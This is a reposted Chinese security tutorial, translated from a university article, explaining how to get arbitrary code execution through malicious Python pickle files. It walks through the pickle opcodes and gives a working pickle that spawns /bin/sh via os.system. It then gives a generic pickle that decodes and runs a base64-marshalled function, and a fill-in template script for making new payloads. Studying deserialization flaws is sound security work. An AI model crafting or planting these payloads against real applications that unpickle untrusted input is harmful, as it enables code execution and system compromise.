转载

利用Python pickle实现任意代码执行

大量实践证明构建恶意的pickle非常容易,而对恶意pickle进行unpickle操作将可能会产生一个shell,甚至是一个远程shell。所以,本文中将向大家介绍如何利用Python pickle进行任意代码执行操作。

0×00 Python pickle禁忌

对于不是自己从已知数据中创建的Python pickle,不要对其进行unpickle操作,这是老生常谈的话题了。同时,pickle模块的 Python文档 中清晰地陈述道:

警告:对于错误的或恶意构造的数据来说,pickle模块并不能保证是安全的。绝对不要unpickle从不可信的或未经身份验证的信息源接收到的数据。

Nelson Elhage 演示 了通过使用subprocess.Popen来获取一个远程shell的简单过程。Marco Slaviero 展示 了如何构建各种标准的shellcode,包括绑定和连接shellcode,但这些基本上是不可读的,并且在pickle中编程只是无意义的娱乐消遣,甚至是完全没必要的,这一点我将在后文中展示。

0×01 pickle举例

首先,我们以Python pickle shellcode的canonical开始,我将其保存为canonical.pickle。

# canonical.pickle cos system (S'/bin/sh' tR.

接着,我们试着解包这个pickle,看看会产生什么结果。

>>> import pickle >>> pickle.load(open('canonical.pickle')) sh-3.2$

0×02 pickle简介

Pickle是一种堆栈语言,这意味着pickle指令将数据压入堆栈或者将数据弹出堆栈,并以某种方式操作它。为了理解canonical pickle是如何工作的,我们只需要理解6条pickle指令:

1、c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。 2、(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。 3、t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。 4、S:读取引号中的字符串直到换行符处,然后将它压入堆栈。 5、R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。 6、.:结束pickle。

为了执行任意Python代码,以上指令是我们需要掌握的所有指令。

0×03 代码分析

接着,看一下canonical pickle shellcode。我们看到,内建函数os.system首先被压入了堆栈中。接着,一个标记对象和字符串“/bin/sh”也被压入堆栈。指令t产生了一个只包含1个元素的元组(’/bin/sh’,)。此时,堆栈中包含了两个元素:

os.system和(’/bin/sh’,)。指令R将以上两个元素都弹出堆栈,并调用os.system(‘/bin/sh’),然后将执行结果(shell返回值)压入堆栈中。

为了执行任意python代码,我们希望能够pickle代码。然而,这并不能行得通。不过幸运的是,Python 2.6之后的版本中包含了一个 marshal 模块,利用该模块就能对代码进行序列化操作。我们的基本任务是编写任意代码作为一个Python函数,对该函数进行marshal操作,并以base64方式对其编码,然后将其插入到一个通用的pickle中,而在这里pickle将会对其进行解码、unmarshal操作,并调用这个函数。

0×04 获取shell示例

对于我们的任意计算,我们先慢慢地计算10阶斐波那契数,并将其打印出来,然后得到一个shell。

import marshal import base64 def foo():         import os         def fib(n):                 if n <= 1:                         return n                 return fib(n-1) + fib(n-2)         print 'fib(10) =', fib(10)    os.system('/bin/sh') print base64.b64encode(marshal.dumps(foo.func_code))

注意,因为Python允许我们导入模块,以及在函数内部定义函数,所以我们可以在我们的foo函数中编写想要的任何代码。

运行此代码生成以下内容:

YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=

0×05 创建通用pickle

我们想要创建一个通用的pickle,这样我们可以向其中插入任意base64编码的函数并运行它们,比如上面编写的函数。从本质上讲,我们希望产生一个可以执行下面的Python代码的pickle,其中的code_enc就是我们编码后的函数。

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

为了让其具有更好的可读性,调整其格式如下:

code_str = base64.b64decode(code_enc) code = marshal.loads(code_str) func = types.FunctionType(code, globals(), '') func()

接着,让我们一点一点构建这部分。为了调用base64.b64decode(code_enc),我们模仿前面用os.system做的操作。

cbase64 b64decode (S'YwAAA...' tR

我们可以以相同的方式将调用对象添加到marshal.loads中:

cmarshal loads (cbase64 b64decode (S'YwAAA...' tRtR

通过使用__builtin__模块,可以以相同的方式调用函数globals:

c__builtin__ globals (tR

为了构建函数,我们可以将这些结合到一起,然后得到:

ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAA...' tRtRc__builtin__ globals (tRS'' tR

最后,我们需要通过附加“(tR.”(其中句号结束了pickle)来调用堆栈顶部的函数。

将这些片段组合在一起,我们就得到了一个通用的pickle。

# generic.pickle ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=' tRtRc__builtin__ globals (tRS'' tR(tR.
>>> import pickle >>> pickle.load(open('generic.pickle')) fib(10) = 55 sh-3.2$

0×06 模板代码

另外,改变可执行代码仅仅需要改变foo函数,运行打印出marshal处理过和编码后的函数的Python程序,然后在替换generic.pickle中base64编码的字符串。

下面是一个很方便的模板。

# template.py import marshal import base64 def foo():         pass # Your code here      print """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s'tRtRc__builtin__ globals (tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

*原文地址: cs.uic.edu ,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

正文到此结束
Loading...